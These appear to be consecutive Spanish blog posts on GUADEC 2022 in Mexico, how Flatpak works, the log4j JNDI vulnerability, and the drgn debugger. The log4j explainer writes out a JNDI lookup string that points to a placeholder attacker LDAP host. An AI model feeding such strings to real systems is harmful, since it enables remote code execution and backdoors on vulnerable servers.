Se ha anunciado [1]: La Conferencia (Europea) de Usuarios y
Desarrolladores de GNOME, GUADEC, se realizará del 20 al 25 de Julio, en
Guadalajara, Jalisco, México. Marquen sus agendas y preparen el viaje.
Es la primer GUADEC después del parón de dos años por la pandemia.
Es la GUADEC que enmarca el 25 aniversario del proyecto GNOME, lanzado
por los connacionales Miguel de Icaza y Federico Mena.
Es la primer GUADEC que se realiza fuera del territorio europeo.
La del 2020 se había planeado para que fuera en Zacatecas, pero por el
COVID19 se tuvo que cancelar. Ojalá que en esta ocasión todo salga sin
mayores inconvenientes.
El propósito de este texto es intentar explicar la tecnología flatpak [1].
Aquellos días donde cada distribución se enorgullecía de la cantidad de paquetes
que mantenía, de su maravilloso sistema de paquetería (deb, rpm, recetas de
compilación), se encuentran ya en su ocaso. No digo que desaparecerán, siguen
siendo necesarias, pero para un número menor de paquetes. Ya no buscaremos, en
la página de la distribución, si ya tienen empaquetada la última versión de la
aplicación que necesitamos.
Ahora, las aplicaciones se empaquetarán y distribuirán a través del sistema
flatpak.
Habrá a quienes no les interese esto y permanecerán fieles a su distribución o a
quemar ciclos de CPU y de vida para compilar todo. Pero para quienes la
computadora es una herramienta más, Flatpak es una respuesta a un reclamo común:
bajar, instalar, usar y actualizar la aplicación que usamos, sin necesidad de
saber, siquiera, qué distribución estamos usando. ¡Y lo mismo para los
desarrolladores! Ya no tienen que hacer, o pedir, recetas de empaquetado para
cada distribución que desean soportar.
Flatpak, entonces, es una tecnología muy cercana a la virtualización, entendida
como la capacidad de ejecutar una computadora virtual dentro de una computadora
real. Si han usado gnome-boxes [2] o qemu [3], tendrán más clara la idea.
Flatpak, exceptuando la arquitectura del CPU (amd64, arm, etc), virtualiza casi
todo, lo que permite controlar finamente los recursos que la aplicación
solicita. Piénsenlo como cuando se instala una aplicación en Android y les avisa
que necesita acceder a la red, a los contactos, a la cámara, etcétera. Pues
hagan de cuenta…
Por tanto, ejecutar o compilar una aplicación en Flatpak implica una
indirección: se le ordena a la computadora real que le ordene a la computadora
virtual ejecutar una acción, y está podrá, o no, ejecutarlo dependiendo del
entorno de ejecución, restringido, que tiene configurado.
Flatpak utiliza una tecnología llamada OSTree [4], que es una capa de
abstracción sobre el sistema de archivos del sistema operativo, con un espíritu
similar a git: transaccional, historial inmutable, con soporte de ramas
locales y repositorios remotos, etcétera. Para fines prácticos es un sistema de
archivos de sólo lectura, donde las modificaciones se hacen solamente bajo
ciertas condiciones.
El principio de las aplicaciones distribuidas por Flatpak es que son, en
principio, autocontenidas. Es decir, contienen dentro de ellas mismas todas las
dependencias requeridas. Sin embargo, esto es poco práctico para dependencias
comunes como las que provee Freedesktop, GNOME y KDE, así que se distribuyen las
llamadas application platforms, que básicamente son el conjunto de estas
dependencias, versionadas. También hay runtimes, que son librerías del sistema
como Mesa u otras implementaciones de OpenGL (por ejemplo las privativas de
NVIDIA). Por tanto, cuando se instala una aplicación en Flatpak, esta contiene
el manifiesto con la application platform y su versión que necesita.
Finalmente, hay repositorios de flatpak de donde uno puede instalar aplicaciones
listas para usar. El más importante y usado es flathub [5].
En conclusión, como usuario, simplemente disfruta de aplicaciones chidas
independientemente de tu distribución. Como desarrollador, pos hay que estudiar
un poco más para desarrollar para estos entornos (por la indirección a la que
obligan, hacen un poco más complejo el debugging).
Para estas alturas posiblemente todos ya estarán enterados del fallo de
seguridad en log4j[1], aunque creo que vale la pena repasarlo.
Todo software más o menos complejo registra los eventos que le
conciernen. La forma más simple de registrar estos eventos, sería
imprimir en la salida estándar o de error un mensaje, humanamente
legible, describiendo el evento en cuestión. Pero el registro de eventos
puede complicarse al grado de que existen bibliotecas de software
específicas que abstraen esta actividad. Hay bibliotecas de “logging”
(como se conoce al registro de eventos) para todos los lenguajes, y
log4j[2] es uno de los disponibles para Java.
¿En qué consiste el bug?
En pocas palabras, log4j “parsea” los mensajes a registrar en búsqueda
de variables que puede reemplazar. Por ejemplo, el programador loggea
este mensaje:
logger.info(“El usuario” + user + ” ha entrado”).
Entonces log4j parsea la cadena y sabe que la variable user, en el
estado actual de la aplicación es “ceyusa”, por lo que finalmente
escribe en bitácora
12:38:10.234 [main] INFO Main - El usuario ‘ceyusa’ ha entrado
Esto es muy útil, pero como todos los datos proveeidos por el usuario,
son potencialmente peligrosos, máxime si éstos viajan por red.
Supongamos que el usuario puede cambiar su nombre de usuario de “ceyusa”
a “${java:version}”. log4j parseará esa cadena y verá que es un programa
en java que ejectua, por lo que el resultado será:
12:38:10.234 [main] INFO Main - El usuario ‘Java version 1.8.0_213’ ha
entrado
Por otro lado, hay una cosa en Java que se llama JNDI: Java Naming and
Directory Interface[3]. Es una interfaz para indicar, a la máquina
virtual de Java, la localización de un recurso remoto, por ejemplo una
base de datos, un Enterprise Java Bean, etcétera. Uno de los usos más
comunes es obtener información de un directorio a través del protocol
LDAP.
En nuestro ejemplo, el usuario podría cambiar su nombre de usuario por
‘${jndi:ldap://malicioso.com:1389/123}’. Lo que haría log4j sería
parsear esa cadena y ejectuarla. Al usar la API de JNDI, sabrá que el
contenido de esa variable se encuentra en un servidor remoto, llamado
malicioso.com, usando el protocolo LDAP y obtendrá el registro con la
llave 123. Este servidor remoto puede estar bajo control del atacante y
devolverá una cadena que se ejecutará dentro de la máquina virtual de
Java que ejecuta de nuestra inocente aplicación, como, por ejemplo,
lanzar una terminal en un puerto TCP (el típico remote backdoor).
¿Por qué es tan reelevante?
Hay un montón de software en Java, legacy, sin mantener,
ejecutándose en internet, usando una versión vulnerable de log4j.
Hay un montón de software en Java, mantenido, pero que tiene una
dependencia fuerte a un framework que usa una versión vulnerable de
log4j.
Hay demasiado software en Java, como en bancos, controladores
aeropuertuarios, etc.
Finalmente, nos remite al cartón de XKCD[4] sobre tener dependencias
profundas de software, en sistemas complejos. O, al otro, clásico, sobre
no confiar, nunca, en lo absoluto, en las entradas del sistema[5].
Es más, hay quien toma esta situación como argumento para evitar esos
grantes frameworks totalizantes, y que sólo el lenguaje de programación
sea nuestro framework[6].
Sin ímpetus de coherencia la susodicha red social no es santo de mi
devoción, mucho menos su dueño y su accionistas, mas debo decir que sus
desarrolladores hacen cosas muy interesantes que luego tienen la
amabilidad de publicar como software libre [1], como su transpilador a
PHP[2].
Pues ahora presentan su debugger, otro reemplazo a gdb, pero ahora
usando Python como interfaz con el usuario, llamado drgn[3]. Me parece
interesante, aunque yo soy más de debug a punta de printf.
Víctor Manuel Jáquez Leal
